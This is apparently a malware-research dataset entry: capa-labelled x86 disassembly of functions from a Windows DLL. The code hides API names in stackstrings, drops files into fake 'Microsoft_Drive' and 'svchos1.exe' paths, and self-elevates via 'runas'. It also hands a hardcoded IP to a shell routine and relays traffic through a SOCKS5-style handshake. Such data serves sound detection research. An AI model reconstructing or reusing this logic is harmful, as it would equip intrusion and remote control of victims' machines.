joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001aa00
Capabilities:
Get file size
Get hostname
Read file on windows

Disassembly:
sub esp, 0x508
mov eax, dword [str.TGByteSetup]
mov ecx, dword [0x100fb06c]
mov edx, dword [0x100fb070]
push ebx
mov dword [esp + 0x10c], eax
mov al, byte [0x100fb074]
push ebp
push esi
push edi
mov dword [esp + 0x11c], ecx
mov byte [esp + 0x124], al
mov ecx, 0xfc
xor eax, eax
lea edi, [esp + 0x125]
mov dword [esp + 0x120], edx
mov ebp, dword [esp + 0x520]
rep stosd dword es:[edi], eax
mov ebx, dword [esp + 0x51c]
mov ecx, ebp
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edx, ecx
xor eax, eax
mov edi, ebx
push 0
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
push 0
rep stosb byte es:[edi], al
push ebx
push 1
lea eax, [esp + 0x12c]
push str.Host
push eax
push reloc.WS2_32.dll_accept
call fcn.10014700
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x20
push ebx
call esi
test eax, eax
jne 0x1001ab07
mov ecx, 0xa
mov esi, str.C:ProgramDataMicrosoft_DriveHost.sys
lea edi, [esp + 0x14]
push eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x37
lea edi, [esp + 0x40]
push 0x80
push 3
rep stosd dword es:[edi], eax
push eax
push 1
lea ecx, [esp + 0x28]
push bind
push ecx
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1001aafa
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
lea edx, [esp + 0x10]
push 0
push edx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
call esi
test eax, eax
jne 0x1001ab16
push ebp
push ebx
call dword [sym.imp.WS2_32.dll_gethostname]
push ebx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x508
ret
Function at 0x1001ab30
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 0x13c
mov eax, dword [str.TGByteSetup]
mov ecx, dword [0x100fb06c]
mov edx, dword [0x100fb070]
push ebx
mov dword [esp + 8], eax
mov al, byte [0x100fb074]
push ebp
push esi
push edi
mov dword [esp + 0x18], ecx
mov byte [esp + 0x20], al
mov ecx, 9
xor eax, eax
lea edi, [esp + 0x21]
mov dword [esp + 0x1c], edx
mov edx, dword [esp + 0x154]
mov ebx, dword [esp + 0x150]
push 0
rep stosd dword es:[edi], eax
mov ecx, edx
push edx
stosb byte es:[edi], al
mov esi, ecx
xor eax, eax
mov edi, ebx
push 0
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
push ebx
and ecx, 3
push 1
rep stosb byte es:[edi], al
lea ecx, [esp + 0x28]
push str.BITS
push ecx
push reloc.WS2_32.dll_accept
call fcn.10014700
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x20
push ebx
call ebp
test eax, eax
jne 0x1001ac20
mov ecx, 0xa
mov esi, str.C:ProgramDataMicrosoft_DriveBITS.sys
lea edi, [esp + 0x48]
push eax
push 0x80
push 3
rep movsd dword es:[edi], dword [esi]
push eax
mov ecx, 0x37
lea edi, [esp + 0x80]
push 1
lea edx, [esp + 0x5c]
push bind
rep stosd dword es:[edi], eax
push edx
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1001ac19
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
lea ecx, [esp + 0x10]
push 0
push ecx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x13c
ret
Function at 0x1001ac30
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 0x148
mov eax, dword [str.TGByteSetup]
mov ecx, dword [0x100fb06c]
mov edx, dword [0x100fb070]
mov dword [esp + 0x10], eax
mov al, byte [0x100fb074]
push ebp
push esi
push edi
mov dword [esp + 0x20], ecx
mov byte [esp + 0x28], al
mov ecx, 9
xor eax, eax
lea edi, [esp + 0x29]
mov dword [esp + 0x24], edx
mov edx, dword [esp + 0x160]
mov ebp, dword [esp + 0x15c]
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
stosb byte es:[edi], al
mov esi, ecx
xor eax, eax
mov edi, ebp
push edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
push 0
and ecx, 3
push ebp
rep stosb byte es:[edi], al
lea ecx, [esp + 0x1c]
push 1
lea edx, [esp + 0x30]
push ecx
push edx
push reloc.WS2_32.dll_accept
mov byte [esp + 0x2c], 0x4d
mov byte [esp + 0x2d], 0x61
mov byte [esp + 0x2e], 0x72
mov byte [esp + 0x2f], 0x6b
mov byte [esp + 0x30], 0x54
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x32], 0x6d
mov byte [esp + 0x33], 0x65
mov byte [esp + 0x34], 0
call fcn.10014700
add esp, 0x20
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x1001ad47
mov ecx, 0xa
mov esi, str.C:ProgramDataMicrosoft_DriveMark.sys
lea edi, [esp + 0x50]
push eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x37
lea edi, [esp + 0x7c]
push 0x80
push 3
rep stosd dword es:[edi], eax
mov dword [esp + 0x24], eax
push eax
push 1
lea eax, [esp + 0x64]
push bind
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1001ad40
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
lea ecx, [esp + 0x18]
push 0
push ecx
push eax
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
pop edi
pop esi
pop ebp
add esp, 0x148
ret
Function at 0x1001b300
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ecx
lea eax, [esp]
push 0
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x1001b35a
mov eax, dword [esp]
mov ecx, eax
and ecx, 1
cmp cl, 1
jne 0x1001b327
mov eax, str.MODEM_l
pop ecx
ret
mov edx, eax
and edx, 2
cmp dl, 2
jne 0x1001b338
mov eax, str.LAN_l
pop ecx
ret
mov ecx, eax
and ecx, 4
cmp cl, 4
jne 0x1001b349
mov eax, str.PROXY_l
pop ecx
ret
and eax, 8
cmp al, 8
mov eax, str.BUSY_l
je 0x1001b35a
mov eax, str.OTHER_l
pop ecx
ret
Function at 0x1001d590
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001d5aa
test al, 0x10
jne 0x1001d5aa
mov eax, 1
ret
xor eax, eax
ret
Function at 0x1001e550
Capabilities:
Contain obfuscated stackstrings
Write file on windows

Disassembly:
sub esp, 0x274
push ebx
push esi
push edi
mov ecx, 0xa
mov esi, str.C:ProgramDataMicrosoft_DriveMark.sys
lea edi, [esp + 0x17c]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
push eax
mov ecx, 0x37
lea edi, [esp + 0x1a8]
push 0x80
push 4
push eax
rep stosd dword es:[edi], eax
push 2
lea eax, [esp + 0x190]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [str.TGByteSetup]
mov edx, dword [0x100fb06c]
mov esi, eax
mov eax, dword [0x100fb070]
mov dword [esp + 0x44], ecx
mov cl, byte [0x100fb074]
mov dword [esp + 0x4c], eax
mov byte [esp + 0x50], cl
mov ecx, 9
xor eax, eax
lea edi, [esp + 0x51]
mov dword [esp + 0x48], edx
rep stosd dword es:[edi], eax
lea edx, [esp + 0x34]
mov dword [esp + 0x30], 0
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x79]
mov byte [esp + 0x78], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, 0x64
mov cl, 0x25
mov byte [esp + 0x1a], al
mov byte [esp + 0x1f], al
mov byte [esp + 0x24], al
mov byte [esp + 0x29], al
mov byte [esp + 0x2e], al
mov eax, dword [esp + 0x3e]
mov byte [esp + 0x18], cl
mov byte [esp + 0x1c], cl
mov dl, 0x32
mov byte [esp + 0x21], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x2b], cl
mov ecx, dword [esp + 0x3c]
mov byte [esp + 0x1e], dl
mov byte [esp + 0x23], dl
mov byte [esp + 0x28], dl
mov byte [esp + 0x2d], dl
mov edx, dword [esp + 0x3a]
and eax, 0xffff
mov bl, 0x2e
and ecx, 0xffff
push eax
mov byte [esp + 0x1d], 0x34
mov byte [esp + 0x1f], 0x2d
mov byte [esp + 0x21], bl
mov byte [esp + 0x24], 0x2d
mov byte [esp + 0x26], bl
mov byte [esp + 0x29], 0x20
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2e], 0x3a
mov byte [esp + 0x30], bl
mov byte [esp + 0x33], 0
push ecx
and edx, 0xffff
mov eax, dword [esp + 0x3e]
mov ecx, dword [esp + 0x3c]
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
lea edx, [esp + 0x28]
push ecx
lea eax, [esp + 0x8c]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x1c
lea ecx, [esp + 0x30]
lea edi, [esp + 0x78]
xor eax, eax
push 0
push ecx
or ecx, 0xffffffff
lea edx, [esp + 0x80]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + 0x14], 0x4d
push ecx
push edx
push esi
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], 0x6b
mov byte [esp + 0x24], 0x54
mov byte [esp + 0x25], 0x69
mov byte [esp + 0x26], 0x6d
mov byte [esp + 0x27], 0x65
mov byte [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edi, [esp + 0x78]
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x7c]
push ecx
push eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x54]
push ecx
push edx
push reloc.WS2_32.dll_accept
call fcn.10014ca0
add esp, 0x1c
pop edi
pop esi
pop ebx
add esp, 0x274
ret
Function at 0x1001e750
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x148
mov al, 0x50
push ebx
mov byte [esp + 9], al
mov byte [esp + 0x20], al
mov al, 0x73
push ebp
mov byte [esp + 0x2f], al
mov byte [esp + 0x31], al
push esi
lea eax, [esp + 0x28]
push edi
lea ecx, [esp + 0x10]
mov bl, 0x6c
push eax
push ecx
mov byte [esp + 0x18], 0x53
mov byte [esp + 0x19], 0x48
mov byte [esp + 0x1a], 0x4c
mov byte [esp + 0x1b], 0x57
mov byte [esp + 0x1c], 0x41
mov byte [esp + 0x1e], 0x49
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0
mov byte [esp + 0x35], 0x61
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x37], 0x68
mov byte [esp + 0x38], 0x46
mov byte [esp + 0x39], 0x69
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0x65
mov byte [esp + 0x3c], 0x45
mov byte [esp + 0x3d], 0x78
mov byte [esp + 0x3e], 0x69
mov byte [esp + 0x40], 0x74
mov byte [esp + 0x42], 0x41
mov byte [esp + 0x43], 0
call fcn.1001b770
mov ebp, eax
mov al, 0x72
mov byte [esp + 0x45], al
mov byte [esp + 0x4c], al
mov byte [esp + 0x51], al
lea edx, [esp + 0x44]
lea eax, [esp + 0x24]
push edx
push eax
mov byte [esp + 0x2c], 0x4b
mov byte [esp + 0x2d], 0x45
mov byte [esp + 0x2e], 0x52
mov byte [esp + 0x2f], 0x4e
mov byte [esp + 0x30], 0x45
mov byte [esp + 0x31], 0x4c
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 0
mov byte [esp + 0x4c], 0x43
mov byte [esp + 0x4e], 0x65
mov byte [esp + 0x4f], 0x61
mov byte [esp + 0x50], 0x74
mov byte [esp + 0x51], 0x65
mov byte [esp + 0x52], 0x44
mov byte [esp + 0x53], 0x69
mov byte [esp + 0x55], 0x65
mov byte [esp + 0x56], 0x63
mov byte [esp + 0x57], 0x74
mov byte [esp + 0x58], 0x6f
mov byte [esp + 0x5a], 0x79
mov byte [esp + 0x5b], 0x41
mov byte [esp + 0x5c], 0
call fcn.1001b770
add esp, 0x10
mov dword [esp + 0x50], eax
mov byte [esp + 0x54], 0
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x55]
rep stosd dword es:[edi], eax
mov ebx, dword [esp + 0x15c]
mov ecx, dword [0x1012bbac]
stosw word es:[edi], ax
push ebx
stosb byte es:[edi], al
call fcn.10010d60
mov edi, eax
xor esi, esi
test edi, edi
jbe 0x1001e901
cmp byte [esi + ebx], 0x5c
jne 0x1001e8fc
push esi
lea ecx, [esp + 0x58]
push ebx
push ecx
mov ecx, dword [0x1012bbac]
call fcn.10010cd0
lea edx, [esp + 0x54]
push edx
call ebp
test eax, eax
jne 0x1001e8fc
push eax
lea eax, [esp + 0x58]
push eax
call dword [esp + 0x58]
inc esi
cmp esi, edi
jb 0x1001e8cf
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x148
ret
Function at 0x10020ae0
Capabilities:
Get token membership

Disassembly:
sub esp, 0x10
push ebx
lea eax, [esp + 4]
xor ebx, ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
lea ecx, [esp + 0x30]
push 2
push ecx
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], 5
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x10020b46
mov eax, dword [esp + 4]
lea edx, [esp + 8]
push edx
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [esp + 8]
pop ebx
add esp, 0x10
ret
Function at 0x10021040
Capabilities:
Copy file

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x10021063
add esp, 0x104
ret
mov ecx, dword [esp + 0x108]
push 0
lea edx, [esp + 4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0x104
ret

Function at 0x10021520
Capabilities:
Create process on windows
Terminate process

Disassembly:
sub esp, 0x140
push 0
push str.C:UsersPublicDocumentsMM_svchos1.exe
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
cmp eax, 0xffffffff
jne 0x10021546
call fcn.10020ae0
test eax, eax
je 0x1002154d
xor eax, eax
add esp, 0x140
ret
lea eax, [esp + 0x3c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x10021546
push esi
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteExA]
push edi
mov ecx, 0xe
xor eax, eax
lea edi, [esp + 0xc]
lea edx, [esp + 8]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x44]
push edx
mov dword [esp + 0xc], 0x3c
mov dword [esp + 0x18], str.runas
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x28], 1
call esi
test eax, eax
jne 0x100215af
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1002156b
push 0
call dword [sym.imp.MSVCRT.dll_exit]
pop edi
pop esi
nop
nop
nop
nop
nop
nop
nop

Function at 0x100215c0
Capabilities:
Create process on windows
Create thread

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
dec eax
push edi
jne 0x10021698
call fcn.10021520
mov esi, dword [sym.imp.MSVCRT.dll__access]
push 0
push str.C:UsersPublicDocumentsMM
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 8
cmp eax, 0xffffffff
jne 0x10021631
mov edi, dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.cmd__c_md_C:UsersPublicDocumentsMM
call edi
push 0
push str.C:UsersPublicDocumentsMM
call esi
add esp, 8
cmp eax, 0xffffffff
jne 0x10021631
push 0
push str.cmd__c_md_C:UsersPublicDocumentsMM
call edi
push 0x3e8
call ebx
push 0
push str.C:UsersPublicDocumentsMM
call esi
add esp, 8
cmp eax, 0xffffffff
je 0x10021610
push 0x1f4
call ebx
call fcn.10021080
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x100210e0
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10021661
push eax
call edi
push 0
push 0
push 0
push 0x100212d0
push 0
push 0
call esi
test eax, eax
je 0x10021679
push eax
call edi
sub esp, 0x848
mov ecx, 0x212
mov esi, str.27.124.13.32
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call sym.1.dll_Shellex
add esp, 0x848
pop edi
pop esi
mov eax, 1
pop ebx
ret 0xc
Function at 0x10022f50
Capabilities:
Create thread
Send data
Send data on socket
Send http request

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x1012c618
stosb byte es:[edi], al
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x1012c934]
push 0x1012c618
inc ecx
mov dword [0x1012c934], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [esp + 0x128]
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], esi
call fcn.10022e20
add esp, 8
cmp eax, esi
je 0x100230ef
mov ebx, dword [esp + 0x120]
cmp eax, 1
je 0x10023036
cmp eax, 2
je 0x10023036
cmp eax, 3
je 0x10023036
cmp eax, 4
jne 0x100230af
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x130]
lea edx, [esp + 0x20]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.10022d90
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
lea ecx, [ebx + 4]
push eax
push ecx
call fcn.100235e0
add esp, 0x1c
test eax, eax
je 0x100230ef
mov edi, str.HTTP_1.0_200_OK_r_n_r_n
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebx]
repne scasb al, byte es:[edi]
not ecx
push esi
push ecx
push str.HTTP_1.0_200_OK_r_n_r_n
push edx
call dword [sym.imp.WS2_32.dll_send]
jmp 0x100230af
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x12c]
mov ecx, dword [esp + 0x124]
push eax
push esi
push edi
push ecx
call fcn.10022ec0
mov ebp, eax
add esp, 0x10
test ebp, ebp
je 0x100230ef
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
mov eax, dword [esp + 0x1c]
sub esi, eax
sub esi, 7
lea ecx, [eax + edi + 7]
push esi
push ecx
call fcn.10022d90
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
lea esi, [ebx + 4]
push edx
push eax
push esi
call fcn.100235e0
add esp, 0x1c
test eax, eax
je 0x100230ef
mov ecx, dword [esp + 0x124]
mov edx, dword [esi]
push 0
push ebp
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x100230ef
cmp dword [ebx], 0
je 0x100230ef
mov eax, dword [ebx + 4]
test eax, eax
je 0x100230ef
lea eax, [esp + 0x18]
push eax
push 0
push ebx
push 0x10024070
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x100230df
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret
Function at 0x10023100
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x204
push ebp
mov ebp, dword [esp + 0x210]
push esi
push edi
mov al, byte [ebp]
mov byte [esp + 0xe], 5
cmp al, 5
mov byte [esp + 0xf], 0
je 0x10023130
pop edi
pop esi
and eax, 0xff
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 2]
lea esi, [ebp + 2]
test al, al
je 0x1002314a
cmp al, 2
je 0x1002314a
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov edi, 0x1012c634
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [esp + 0x12]
and ecx, 2
push 2
mov byte [esp + 0x17], cl
mov ecx, dword [esp + 0x21c]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1002318d
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
cmp byte [esp + 0xf], 2
jne 0x100232e3
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x114]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x218]
push 0x2000
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x100232d7
test eax, eax
je 0x100232d7
cmp byte [ebp], 1
je 0x100231ed
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 1]
test al, al
je 0x10023216
mov ecx, eax
and ecx, 0xff
cmp ecx, 0x100
jg 0x10023216
mov edx, ecx
lea edi, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
and eax, 0xff
add eax, ebp
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x10023245
cmp ecx, 0x100
jg 0x10023245
lea esi, [eax + 3]
mov eax, ecx
lea edi, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x10]
mov eax, 0x1012c634
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10023272
test cl, cl
je 0x1002326e
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10023272
add eax, 2
add esi, 2
test cl, cl
jne 0x1002324e
xor eax, eax
jmp 0x10023277
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100232b9
lea esi, [esp + 0x110]
mov eax, 0x1012c734
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x100232ab
test cl, cl
je 0x100232a7
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x100232ab
add eax, 2
add esi, 2
test cl, cl
jne 0x10023287
xor eax, eax
jmp 0x100232b0
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100232b9
mov byte [ebp + 1], al
jmp 0x100232bd
mov byte [ebp + 1], 0xff
mov eax, dword [esp + 0x214]
push 0
push 2
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x100232e3
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x204
ret
Function at 0x10023300
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x18
push 0x1012b074
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
mov dword [esp + 4], eax
je 0x100233b4
push ebx
mov ebx, dword [esp + 0x20]
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov ecx, dword [eax + 0xc]
mov edx, dword [esp + 0x10]
cmp dword [ecx + edx], 0
je 0x100233bc
xor edx, edx
mov byte [ebx], 0
cmp word [eax + 0xa], dx
jle 0x100233aa
test edx, edx
jle 0x10023374
mov edi, 0x100fa66c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, ebp
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
movsx ecx, word [eax + 0xa]
cmp edx, ecx
jl 0x10023346
add dword [esp + 0x10], 4
jmp 0x1002332a
mov eax, dword [esp + 0x1c]
add esp, 0x18
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x100233d0
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x100233e0
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret

Function at 0x100235e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp], eax
push esi
mov dword [esp + 8], eax
push edi
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [esp + 0x20]
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov word [esp + 0xe], ax
call edi
cmp eax, 0xffffffff
push esi
jne 0x10023637
call fcn.100233d0
add esp, 4
test eax, eax
je 0x10023692
push esi
call fcn.100233d0
add esp, 4
push eax
call edi
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [esp + 0x1c]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x10023692
lea edx, [esp + 0x24]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x38], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esi]
lea eax, [esp + 8]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1002369a
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret